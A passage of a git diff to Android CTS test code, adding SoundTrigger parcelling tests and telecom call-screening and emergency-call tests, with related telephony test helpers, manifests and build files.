+++ b/tests/tests/soundtrigger/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 48436
+elaurent@google.com
+ytai@google.com
+nambur@google.com
diff --git a/tests/tests/soundtrigger/src/android/soundtrigger/cts/SoundTriggerTest.java b/tests/tests/soundtrigger/src/android/soundtrigger/cts/SoundTriggerTest.java
new file mode 100644
index 0000000..92d3b83
--- /dev/null
+++ b/tests/tests/soundtrigger/src/android/soundtrigger/cts/SoundTriggerTest.java
@@ -0,0 +1,211 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.soundtrigger.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+
+import android.hardware.soundtrigger.SoundTrigger;
+import android.media.AudioFormat;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Locale;
+import java.util.Random;
+import java.util.UUID;
+
+@RunWith(AndroidJUnit4.class)
+public class SoundTriggerTest {
+    private static final int TEST_KEYPHRASE_ID = 200;
+    private static final String TEST_KEYPHRASE_TEXT = "test_keyphrase";
+    private static final int[] TEST_SUPPORTED_USERS = new int[] {1, 2, 3};
+    private static final int TEST_RECOGNITION_MODES = SoundTrigger.RECOGNITION_MODE_GENERIC
+            | SoundTrigger.RECOGNITION_MODE_USER_AUTHENTICATION
+            | SoundTrigger.RECOGNITION_MODE_USER_IDENTIFICATION
+            | SoundTrigger.RECOGNITION_MODE_VOICE_TRIGGER;
+
+    private static final UUID TEST_MODEL_UUID = UUID.randomUUID();
+    private static final UUID TEST_VENDOR_UUID = UUID.randomUUID();
+    private static final int TEST_MODEL_VERSION = 123456;
+
+    private static final int TEST_MODULE_ID = 1;
+    private static final String TEST_IMPLEMENTOR = "test implementor";
+    private static final String TEST_DESCRIPTION = "test description";
+    private static final UUID TEST_MODULE_UUID = UUID.randomUUID();
+    private static final int TEST_MODULE_VERSION = 45678;
+    private static final String TEST_SUPPORTED_MODEL_ARCH = UUID.randomUUID().toString();
+    private static final int TEST_MAX_SOUND_MODELS = 10;
+    private static final int TEST_MAX_KEYPHRASES = 2;
+    private static final int TEST_MAX_USERS = 3;
+    private static final boolean TEST_SUPPORT_CAPTURE_TRANSITION = true;
+    private static final int TEST_MAX_BUFFER_SIZE = 2048;
+    private static final boolean TEST_SUPPORTS_CONCURRENT_CAPTURE = true;
+    private static final int TEST_POWER_CONSUMPTION_MW = 50;
+    private static final boolean TEST_RETURNES_TRIGGER_IN_EVENT = false;
+    private static final int TEST_AUDIO_CAPABILITIES =
+            SoundTrigger.ModuleProperties.AUDIO_CAPABILITY_ECHO_CANCELLATION
+                    | SoundTrigger.ModuleProperties.AUDIO_CAPABILITY_NOISE_SUPPRESSION;
+    private static final byte[] TEST_MODEL_DATA = new byte[1024];
+
+    @BeforeClass
+    public static void setUpClass() {
+        new Random().nextBytes(TEST_MODEL_DATA);
+    }
+
+    private static SoundTrigger.Keyphrase createTestKeyphrase() {
+        return new SoundTrigger.Keyphrase(TEST_KEYPHRASE_ID, TEST_RECOGNITION_MODES,
+                Locale.forLanguageTag("en-US"), TEST_KEYPHRASE_TEXT, TEST_SUPPORTED_USERS);
+    }
+
+    private static void verifyKeyphraseMatchesTestParams(SoundTrigger.Keyphrase keyphrase) {
+        assertEquals(keyphrase.getId(), TEST_KEYPHRASE_ID);
+        assertEquals(keyphrase.getRecognitionModes(), TEST_RECOGNITION_MODES);
+        assertEquals(keyphrase.getLocale(), Locale.forLanguageTag("en-US"));
+        assertEquals(keyphrase.getText(), TEST_KEYPHRASE_TEXT);
+        assertArrayEquals(keyphrase.getUsers(), TEST_SUPPORTED_USERS);
+    }
+
+    private static SoundTrigger.KeyphraseSoundModel createTestKeyphraseSoundModel() {
+        return new SoundTrigger.KeyphraseSoundModel(TEST_MODEL_UUID, TEST_VENDOR_UUID,
+                SoundTriggerTest.TEST_MODEL_DATA,
+                new SoundTrigger.Keyphrase[] {createTestKeyphrase()}, TEST_MODEL_VERSION);
+    }
+
+    private static void verifyKeyphraseSoundModelMatchesTestParams(
+            SoundTrigger.KeyphraseSoundModel keyphraseSoundModel) {
+        assertEquals(keyphraseSoundModel.getUuid(), TEST_MODEL_UUID);
+        assertEquals(keyphraseSoundModel.getVendorUuid(), TEST_VENDOR_UUID);
+        assertArrayEquals(keyphraseSoundModel.getData(), SoundTriggerTest.TEST_MODEL_DATA);
+        assertArrayEquals(keyphraseSoundModel.getKeyphrases(),
+                new SoundTrigger.Keyphrase[] {createTestKeyphrase()});
+        assertEquals(keyphraseSoundModel.getVersion(), TEST_MODEL_VERSION);
+        assertEquals(keyphraseSoundModel.getType(), SoundTrigger.SoundModel.TYPE_KEYPHRASE);
+    }
+
+    private SoundTrigger.ModuleProperties createTestModuleProperties() {
+        return new SoundTrigger.ModuleProperties(TEST_MODULE_ID, TEST_IMPLEMENTOR, TEST_DESCRIPTION,
+                TEST_MODULE_UUID.toString(), TEST_MODULE_VERSION, TEST_SUPPORTED_MODEL_ARCH,
+                TEST_MAX_SOUND_MODELS, TEST_MAX_KEYPHRASES, TEST_MAX_USERS, TEST_RECOGNITION_MODES,
+                TEST_SUPPORT_CAPTURE_TRANSITION, TEST_MAX_BUFFER_SIZE,
+                TEST_SUPPORTS_CONCURRENT_CAPTURE, TEST_POWER_CONSUMPTION_MW,
+                TEST_RETURNES_TRIGGER_IN_EVENT, TEST_AUDIO_CAPABILITIES);
+    }
+
+    private static void verifyModulePropertiesMatchesTestParams(
+            SoundTrigger.ModuleProperties moduleProperties) {
+        assertEquals(moduleProperties.getId(), TEST_MODULE_ID);
+        assertEquals(moduleProperties.getImplementor(), TEST_IMPLEMENTOR);
+        assertEquals(moduleProperties.getDescription(), TEST_DESCRIPTION);
+        assertEquals(moduleProperties.getUuid(), TEST_MODULE_UUID);
+        assertEquals(moduleProperties.getVersion(), TEST_MODULE_VERSION);
+        assertEquals(moduleProperties.getSupportedModelArch(), TEST_SUPPORTED_MODEL_ARCH);
+        assertEquals(moduleProperties.getMaxSoundModels(), TEST_MAX_SOUND_MODELS);
+        assertEquals(moduleProperties.getMaxKeyphrases(), TEST_MAX_KEYPHRASES);
+        assertEquals(moduleProperties.getMaxUsers(), TEST_MAX_USERS);
+        assertEquals(moduleProperties.getRecognitionModes(), TEST_RECOGNITION_MODES);
+        assertEquals(moduleProperties.isCaptureTransitionSupported(),
+                TEST_SUPPORT_CAPTURE_TRANSITION);
+        assertEquals(moduleProperties.getMaxBufferMillis(), TEST_MAX_BUFFER_SIZE);
+        assertEquals(moduleProperties.isConcurrentCaptureSupported(),
+                TEST_SUPPORTS_CONCURRENT_CAPTURE);
+        assertEquals(moduleProperties.getPowerConsumptionMw(), TEST_POWER_CONSUMPTION_MW);
+        assertEquals(moduleProperties.isTriggerReturnedInEvent(), TEST_RETURNES_TRIGGER_IN_EVENT);
+        assertEquals(moduleProperties.getAudioCapabilities(), TEST_AUDIO_CAPABILITIES);
+        assertEquals(moduleProperties.describeContents(), 0);
+    }
+
+    @Test
+    public void testKeyphraseParcelUnparcel() {
+        SoundTrigger.Keyphrase keyphraseSrc = createTestKeyphrase();
+        verifyKeyphraseMatchesTestParams(keyphraseSrc);
+        Parcel parcel = Parcel.obtain();
+        keyphraseSrc.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+        SoundTrigger.Keyphrase keyphraseResult = SoundTrigger.Keyphrase.readFromParcel(parcel);
+        assertEquals(keyphraseSrc, keyphraseResult);
+        verifyKeyphraseMatchesTestParams(keyphraseResult);
+
+        parcel.setDataPosition(0);
+        keyphraseResult = SoundTrigger.Keyphrase.CREATOR.createFromParcel(parcel);
+        assertEquals(keyphraseSrc, keyphraseResult);
+        verifyKeyphraseMatchesTestParams(keyphraseResult);
+    }
+
+    @Test
+    public void testKeyphraseSoundModelParcelUnparcel() {
+        SoundTrigger.KeyphraseSoundModel keyphraseSoundModelSrc =
+                createTestKeyphraseSoundModel();
+        Parcel parcel = Parcel.obtain();
+        keyphraseSoundModelSrc.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+        SoundTrigger.KeyphraseSoundModel keyphraseSoundModelResult =
+                SoundTrigger.KeyphraseSoundModel.readFromParcel(parcel);
+        assertEquals(keyphraseSoundModelSrc, keyphraseSoundModelResult);
+        verifyKeyphraseSoundModelMatchesTestParams(keyphraseSoundModelResult);
+
+        parcel.setDataPosition(0);
+        keyphraseSoundModelResult = SoundTrigger.KeyphraseSoundModel.CREATOR.createFromParcel(
+                parcel);
+        assertEquals(keyphraseSoundModelSrc, keyphraseSoundModelResult);
+        verifyKeyphraseSoundModelMatchesTestParams(keyphraseSoundModelResult);
+    }
+
+    @Test
+    public void testModulePropertiesParcelUnparcel() {
+        SoundTrigger.ModuleProperties modulePropertiesSrc = createTestModuleProperties();
+        Parcel parcel = Parcel.obtain();
+        modulePropertiesSrc.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+        SoundTrigger.ModuleProperties modulePropertiesResult =
+                SoundTrigger.ModuleProperties.CREATOR.createFromParcel(parcel);
+        assertEquals(modulePropertiesSrc, modulePropertiesResult);
+        verifyModulePropertiesMatchesTestParams(modulePropertiesResult);
+    }
+
+    @Test
+    public void testModelParamRangeParcelUnparcel() {
+        SoundTrigger.ModelParamRange modelParamRangeSrc = new SoundTrigger.ModelParamRange(-1, 10);
+        Parcel parcel = Parcel.obtain();
+        modelParamRangeSrc.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+        SoundTrigger.ModelParamRange modelParamRangeResult =
+                SoundTrigger.ModelParamRange.CREATOR.createFromParcel(parcel);
+        assertEquals(modelParamRangeSrc, modelParamRangeResult);
+        assertEquals(modelParamRangeResult.getStart(), -1);
+        assertEquals(modelParamRangeResult.getEnd(), 10);
+    }
+
+    @Test
+    public void testRecognitionEventBasicGetters() {
+        AudioFormat audioFormat = new AudioFormat.Builder().build();
+        SoundTrigger.RecognitionEvent recognitionEvent = new SoundTrigger.RecognitionEvent(
+                0, 100, true, 101, 1000, 1001, true, audioFormat, TEST_MODEL_DATA);
+        assertEquals(recognitionEvent.getCaptureFormat(), audioFormat);
+        assertEquals(recognitionEvent.getCaptureSession(), 101);
+        assertArrayEquals(recognitionEvent.getData(), TEST_MODEL_DATA);
+    }
+}
diff --git a/tests/tests/syncmanager/AndroidTest.xml b/tests/tests/syncmanager/AndroidTest.xml
index 5c8605d..4c53d79 100644
--- a/tests/tests/syncmanager/AndroidTest.xml
+++ b/tests/tests/syncmanager/AndroidTest.xml
@@ -24,6 +24,8 @@
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Disable keyguard -->
+        <!-- Though keyguard is disabled globally in cts-preconditions.xml, the
+             following line should be kept to make atest behave correctly. -->
         <option name="run-command" value="locksettings set-disabled true" />
     </target_preparer>
 
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index 9f2fbb8..f31dcf1 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -30,7 +30,10 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.google.common.truth.Expect;
+
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -52,6 +55,8 @@
         }
     }
 
+    @Rule public final Expect mExpect = Expect.create();
+
     private Context mContext;
     private PackageManager mPackageManager;
 
@@ -68,7 +73,6 @@
     private final IntentEntry[] mTestIntents = {
             /* Settings-namespace intent actions */
             new IntentEntry(0, new Intent(Settings.ACTION_SETTINGS)),
-            new IntentEntry(0, new Intent(Settings.ACTION_WEBVIEW_SETTINGS)),
             new IntentEntry(0, new Intent(Settings.ACTION_APPLICATION_DEVELOPMENT_SETTINGS)),
             new IntentEntry(0, new Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS)),
             new IntentEntry(0, new Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS)
@@ -115,7 +119,8 @@
             if ((productFlags & e.flags) == 0) {
                 final ResolveInfo ri = mPackageManager.resolveActivity(e.intent,
                         PackageManager.MATCH_DEFAULT_ONLY);
-                assertTrue("API intent " + e.intent + " not implemented by any activity", ri != null);
+                mExpect.withMessage("API intent %s not implemented by any activity", e.intent)
+                        .that(ri).isNotNull();
             }
         }
     }
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index 07778a3..741a897 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="hidden-api-checks" value="false" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
         <option name="token" value="sim-card" />
     </target_preparer>
diff --git a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
index 80ef505..3e26776 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
@@ -89,12 +89,43 @@
 
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
 
         verifySimulateRingAndUserPickup(call, connection);
     }
 
+    public void testHoldAfterAudioProcessingFromCallScreening() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        setupIncomingCallWithCallScreening();
+
+        final MockConnection connection = verifyConnectionForIncomingCall();
+
+        if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                TimeUnit.SECONDS)) {
+            fail("No call added to InCallService.");
+        }
+
+        Call call = mInCallCallbacks.getService().getLastCall();
+        assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+        assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+        AudioManager audioManager = mContext.getSystemService(AudioManager.class);
+        if (doesAudioManagerSupportCallScreening) {
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
+        }
+
+        verifySimulateRingAndUserPickup(call, connection);
+
+        call.hold();
+        assertCallState(call, Call.STATE_HOLDING);
+        call.unhold();
+        assertCallState(call, Call.STATE_ACTIVE);
+    }
+
     public void testAudioProcessingFromCallScreeningDisallow() throws Exception {
         if (!mShouldTestTelecom) {
             return;
@@ -115,7 +146,7 @@
 
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
 
         call.disconnect();
@@ -143,7 +174,7 @@
 
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
 
         verifySimulateRingAndUserMissed(call, connection);
@@ -169,14 +200,17 @@
 
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
 
         call.exitBackgroundAudioProcessing(true);
         assertCallState(call, Call.STATE_SIMULATED_RINGING);
 
         waitOnAllHandlers(getInstrumentation());
-        assertEquals(AudioManager.MODE_RINGTONE, audioManager.getMode());
+        // We expect the audio mode to stay in CALL_SCREENING when going into simulated ringing.
+        if (doesAudioManagerSupportCallScreening) {
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
+        }
         assertConnectionState(connection, Connection.STATE_ACTIVE);
 
         connection.setDisconnected(new DisconnectCause(DisconnectCause.REMOTE));
@@ -205,13 +239,16 @@
 
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
 
         call.exitBackgroundAudioProcessing(true);
         assertCallState(call, Call.STATE_SIMULATED_RINGING);
         waitOnAllHandlers(getInstrumentation());
-        assertEquals(AudioManager.MODE_RINGTONE, audioManager.getMode());
+        // We expect the audio mode to stay in CALL_SCREENING when going into simulated ringing.
+        if (doesAudioManagerSupportCallScreening) {
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
+        }
         assertConnectionState(connection, Connection.STATE_ACTIVE);
 
         placeAndVerifyEmergencyCall(false /*supportsHold*/);
@@ -246,7 +283,7 @@
 
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
 
         verifySimulateRingAndUserPickup(call, connection);
@@ -281,7 +318,7 @@
         waitOnAllHandlers(getInstrumentation());
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
         assertConnectionState(connection, Connection.STATE_ACTIVE);
 
@@ -303,7 +340,7 @@
         waitOnAllHandlers(getInstrumentation());
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
 
         verifySimulateRingAndUserMissed(call, connection);
@@ -324,7 +361,7 @@
         waitOnAllHandlers(getInstrumentation());
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
 
         connection.setDisconnected(new DisconnectCause(DisconnectCause.REMOTE));
@@ -349,7 +386,7 @@
         waitOnAllHandlers(getInstrumentation());
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
 
         placeAndVerifyEmergencyCall(false /*supportsHold*/);
@@ -383,13 +420,13 @@
         waitOnAllHandlers(getInstrumentation());
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
 
         call.exitBackgroundAudioProcessing(false);
         assertCallState(call, Call.STATE_ACTIVE);
         waitOnAllHandlers(getInstrumentation());
-        assertEquals(AudioManager.MODE_IN_CALL, audioManager.getMode());
+        assertAudioMode(audioManager, AudioManager.MODE_IN_CALL);
     }
 
     public void testManualAudioCallScreenReject() {
@@ -410,7 +447,7 @@
         waitOnAllHandlers(getInstrumentation());
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
 
         call.disconnect();
@@ -521,8 +558,8 @@
             assertCallState(call, Call.STATE_DISCONNECTED);
             waitOnAllHandlers(getInstrumentation());
             assertConnectionState(connection, Connection.STATE_DISCONNECTED);
-            // Make sure that the dummy app never saw the call
-            assertEquals(0, controlInterface.getHistoricalCallCount());
+            // Under some rare circumstances, the dummy app might get a flash of the disconnection
+            // call, so we won't do the call count check again.
 
             tearDownControl();
         } finally {
@@ -551,14 +588,14 @@
         waitOnAllHandlers(getInstrumentation());
         // We expect the audio mode to stay in CALL_SCREENING when going into simulated ringing.
         if (doesAudioManagerSupportCallScreening) {
-            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
         }
         assertConnectionState(connection, Connection.STATE_ACTIVE);
 
         call.answer(VideoProfile.STATE_AUDIO_ONLY);
         assertCallState(call, Call.STATE_ACTIVE);
         waitOnAllHandlers(getInstrumentation());
-        assertEquals(AudioManager.MODE_IN_CALL, audioManager.getMode());
+        assertAudioMode(audioManager, AudioManager.MODE_IN_CALL);
         assertConnectionState(connection, Connection.STATE_ACTIVE);
     }
 
@@ -568,7 +605,10 @@
         call.exitBackgroundAudioProcessing(true);
         assertCallState(call, Call.STATE_SIMULATED_RINGING);
         waitOnAllHandlers(getInstrumentation());
-        assertEquals(AudioManager.MODE_RINGTONE, audioManager.getMode());
+        // We expect the audio mode to stay in CALL_SCREENING when going into simulated ringing.
+        if (doesAudioManagerSupportCallScreening) {
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
+        }
         assertConnectionState(connection, Connection.STATE_ACTIVE);
 
         call.disconnect();
@@ -643,4 +683,4 @@
                 "telecom add-or-remove-call-companion-app " + CtsApi29InCallService.PACKAGE_NAME
                         + " 0");
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
index 465782a..47b1462 100644
--- a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
+++ b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
@@ -17,6 +17,7 @@
 package android.telecom.cts;
 
 import android.net.Uri;
+import android.os.Bundle;
 import android.provider.CallLog;
 import android.telecom.Call;
 import android.telecom.Connection;
@@ -102,4 +103,42 @@
         // Notify as missed instead of rejected, since the user did not explicitly reject.
         verifyCallLogging(normalCallNumber, CallLog.Calls.MISSED_TYPE);
     }
+
+    /**
+     * While on an outgoing call, receive an incoming ringing call and then place an emergency call.
+     * The other two calls should stay active while the ringing call should be rejected and logged
+     * as a new missed call.
+     */
+    public void testActiveCallAndIncomingRingingCallAndPlaceEmergencyCall() throws Exception {
+        if (!mShouldTestTelecom) return;
+
+        Uri normalOutgoingCallNumber = createRandomTestNumber();
+        Bundle extras = new Bundle();
+        extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, normalOutgoingCallNumber);
+        placeAndVerifyCall(extras);
+        Connection outgoingConnection = verifyConnectionForOutgoingCall();
+        Call outgoingCall = getInCallService().getLastCall();
+        outgoingConnection.setActive();
+        assertCallState(outgoingCall, Call.STATE_ACTIVE);
+
+        Uri normalIncomingCallNumber = createRandomTestNumber();
+        addAndVerifyNewIncomingCall(normalIncomingCallNumber, null);
+        Connection incomingConnection = verifyConnectionForIncomingCall();
+        Call incomingCall = getInCallService().getLastCall();
+        assertCallState(incomingCall, Call.STATE_RINGING);
+
+        // Do not support holding incoming call for emergency call.
+        Connection eConnection = placeAndVerifyEmergencyCall(false /*supportsHold*/);
+        Call eCall = getInCallService().getLastCall();
+        assertCallState(eCall, Call.STATE_DIALING);
+
+        assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
+        assertCallState(incomingCall, Call.STATE_DISCONNECTED);
+
+        eConnection.setActive();
+        assertCallState(eCall, Call.STATE_ACTIVE);
+
+        // Notify as missed instead of rejected, since the user did not explicitly reject.
+        verifyCallLogging(normalIncomingCallNumber, CallLog.Calls.MISSED_TYPE);
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index 6af49f3..a360bd9 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -119,7 +119,8 @@
             .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
                     PhoneAccount.CAPABILITY_VIDEO_CALLING |
                     PhoneAccount.CAPABILITY_RTT |
-                    PhoneAccount.CAPABILITY_CONNECTION_MANAGER)
+                    PhoneAccount.CAPABILITY_CONNECTION_MANAGER |
+                    PhoneAccount.CAPABILITY_PLACE_EMERGENCY_CALLS)
             .setHighlightColor(Color.RED)
             .setShortDescription(ACCOUNT_LABEL)
             .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 5cd8518..f6b655e 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -35,6 +35,7 @@
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
     <uses-permission android:name="android.permission.USE_SIP" />
     <uses-permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"/>
+    <uses-permission android:name="android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS" />
 
     <permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"
                 android:protectionLevel="signature"/>
diff --git a/tests/tests/telephony/current/LocationAccessingApp/src/android/telephony/cts/locationaccessingapp/CtsLocationAccessService.java b/tests/tests/telephony/current/LocationAccessingApp/src/android/telephony/cts/locationaccessingapp/CtsLocationAccessService.java
index 861de55..0b9d9c3 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/src/android/telephony/cts/locationaccessingapp/CtsLocationAccessService.java
+++ b/tests/tests/telephony/current/LocationAccessingApp/src/android/telephony/cts/locationaccessingapp/CtsLocationAccessService.java
@@ -48,6 +48,7 @@
             "get_service_state_from_listener";
     public static final String COMMAND_LISTEN_CELL_LOCATION = "listen_cell_location";
     public static final String COMMAND_LISTEN_CELL_INFO = "listen_cell_info";
+    public static final String COMMAND_REQUEST_CELL_INFO_UPDATE = "request_cell_info_update";
 
     private static final long LISTENER_TIMEOUT = 1000;
 
@@ -84,6 +85,8 @@
                 case COMMAND_LISTEN_CELL_LOCATION:
                     result = listenForCellLocation();
                     break;
+                case COMMAND_REQUEST_CELL_INFO_UPDATE:
+                    result = requestCellInfoUpdate();
             }
             return Collections.singletonList(result);
         }
@@ -171,4 +174,31 @@
             handlerThread.quit();
         }
     }
+
+    private List<CellInfo> requestCellInfoUpdate() {
+        LinkedBlockingQueue<List<CellInfo>> queue = new LinkedBlockingQueue<>();
+        HandlerThread handlerThread = new HandlerThread("Telephony location CTS");
+        handlerThread.start();
+        Executor executor = new Handler(handlerThread.getLooper())::post;
+        TelephonyManager.CellInfoCallback cb = new TelephonyManager.CellInfoCallback() {
+            @Override
+            public void onCellInfo(List<CellInfo> cellInfo) {
+                queue.offer(cellInfo);
+            }
+        };
+
+        mTelephonyManager.requestCellInfoUpdate(executor, cb);
+
+        try {
+            List<CellInfo> ci = queue.poll(LISTENER_TIMEOUT, TimeUnit.MILLISECONDS);
+            if (ci == null) {
+                throw new RuntimeException("Timed out waiting for cell info");
+            }
+            return ci;
+        } catch (InterruptedException e) {
+            throw new RuntimeException("interrupted");
+        } finally {
+            handlerThread.quit();
+        }
+    }
 }
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/tests/tests/telephony/current/permissions/Android.bp
similarity index 74%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to tests/tests/telephony/current/permissions/Android.bp
index d957080..0ae3ee4 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/tests/tests/telephony/current/permissions/Android.bp
@@ -14,17 +14,21 @@
 // limitations under the License.
 //
 
-android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
+android_test {
+    name: "CtsTelephonyTestCasesPermissionReadPhoneState",
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "vts",
         "vts10",
-        "mts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
 }
diff --git a/tests/tests/telephony/current/permissions/AndroidManifest.xml b/tests/tests/telephony/current/permissions/AndroidManifest.xml
new file mode 100644
index 0000000..5c0b89c
--- /dev/null
+++ b/tests/tests/telephony/current/permissions/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
